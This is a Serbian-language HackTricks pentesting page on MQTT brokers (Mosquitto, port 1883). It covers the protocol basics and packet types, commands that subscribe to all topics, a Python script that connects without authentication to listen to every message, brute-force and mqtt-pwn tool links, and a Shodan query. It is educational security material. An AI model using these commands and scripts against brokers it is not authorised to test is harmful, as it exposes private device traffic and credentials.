# 1883 - Pentesting MQTT (Mosquitto)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## Osnovne informacije **MQ Telemetry Transport (MQTT)** poznat je kao **protokol za razmenu poruka putem objavljivanja/pretplate** koji se ističe po svojoj ekstremnoj jednostavnosti i lakoći. Ovaj protokol je posebno prilagođen za okruženja u kojima uređaji imaju ograničene mogućnosti i funkcionišu preko mreža koje se karakterišu niskom propusnošću, visokom latencijom ili nepouzdanim vezama. Osnovni ciljevi MQTT-a uključuju minimiziranje korišćenja mrežne propusnosti i smanjenje zahteva na resurse uređaja. Pored toga, cilj mu je održavanje pouzdane komunikacije i pružanje određenog nivoa sigurnosti isporuke. Ovi ciljevi čine MQTT izuzetno pogodnim za rastuće polje **komunikacije uređaja sa uređajem (M2M)** i **Interneta stvari (IoT)**, gde je esencijalno efikasno povezivanje različitih uređaja. Osim toga, MQTT je veoma koristan za mobilne aplikacije, gde je čuvanje propusnosti i trajanja baterije od suštinskog značaja. **Podrazumevani port:** 1883 ``` PORT STATE SERVICE REASON 1883/tcp open mosquitto version 1.4.8 syn-ack ``` ## Inspekcija saobraćaja Kada MQTT posrednici prime paket **CONNECT**, šalju nazad paket **CONNACK**. Ovaj paket sadrži kod povratka koji je ključan za razumevanje statusa veze. Kod povratka **0x00** znači da su pristupni podaci prihvaćeni, što označava uspešnu vezu. S druge strane, kod povratka **0x05** signalizira da su pristupni podaci nevažeći, čime se sprečava veza. Na primer, ako posrednik odbije vezu zbog nevažećih pristupnih podataka, scenario bi izgledao ovako: ``` { "returnCode": "0x05", "description": "Connection Refused, not authorized" } ``` ![](<../.gitbook/assets/image (973).png>) ### [**Brute-Force MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt) ## Pentesting MQTT **Autentifikacija je potpuno opcionalna** i čak i ako se vrši autentifikacija, **podrazumevano se ne koristi enkripcija** (kredencijali se šalju u čistom tekstu). MITM napadi i dalje mogu biti izvršeni kako bi se ukrali lozinke. Za povezivanje na MQTT servis možete koristiti: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) i pretplatiti se na sve teme koristeći: ``` > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883) > subscribe "#" 1 > subscribe "$SYS/#" ``` Možete koristiti [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn) ```bash apt-get install mosquitto mosquitto-clients mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic' mosquitto_sub -h -t "#" -v #Subscribe to ALL topics. ``` Ili možete **pokrenuti ovaj kod da biste pokušali da se povežete sa MQTT servisom bez autentifikacije, pretplatite se na svaku temu i slušate ih**: ```python #This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py import paho.mqtt.client as mqtt import time import os HOST = "127.0.0.1" PORT = 1883 def on_connect(client, userdata, flags, rc): client.subscribe('#', qos=1) client.subscribe('$SYS/#') def on_message(client, userdata, message): print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload)) def main(): client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.connect(HOST, PORT) client.loop_start() #time.sleep(10) #client.loop_stop() if __name__ == "__main__": main() ``` ## Više informacija sa ovde: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) ### Šema objavljivanja/pretplate Model objavljivanja/pretplate sastoji se od: * **Objavljivač**: objavljuje poruku na jednu (ili više) temu(u) na brokeru. * **Pretplatnik**: pretplaćuje se na jednu (ili više) temu(u) na brokeru i prima sve poruke poslate od objavljivača. * **Broker**: usmerava sve poruke od objavljivača ka pretplatnicima. * **Tema**: sastoji se od jednog ili više nivoa koji su odvojeni kosom crtom (npr. /pametna-kuća/dnevna-soba/temperatura). ### Format paketa Svaki MQTT paket sadrži fiksni zaglavlje (Slika 02).Slika 02: Fiksno zaglavlje ![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png) ### Vrste paketa * CONNECT (1): Iniciran od strane klijenta zahtevajući vezu sa serverom. * CONNACK (2): Potvrda servera o uspešnoj vezi. * PUBLISH (3): Koristi se za slanje poruke od klijenta ka serveru ili obrnuto. * PUBACK (4): Potvrda o PUBLISH paketu. * PUBREC (5): Deo protokola isporuke poruke koji osigurava da je poruka primljena. * PUBREL (6): Dodatno osiguranje u isporuci poruke, ukazujući na oslobađanje poruke. * PUBCOMP (7): Završni deo protokola isporuke poruke, ukazujući na završetak. * SUBSCRIBE (8): Zahtev klijenta za slušanje poruka sa teme. * SUBACK (9): Potvrda servera o SUBSCRIBE zahtevu. * UNSUBSCRIBE (10): Zahtev klijenta za prestanak primanja poruka sa teme. * UNSUBACK (11): Odgovor servera na UNSUBSCRIBE zahtev. * PINGREQ (12): Poruka otkucaja srca poslata od strane klijenta. * PINGRESP (13): Odgovor servera na poruku otkucaja srca. * DISCONNECT (14): Iniciran od strane klijenta za prekid veze. * Dve vrednosti, 0 i 15, označene su kao rezervisane i njihova upotreba je zabranjena. ## Shodan * `port:1883 MQTT`
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.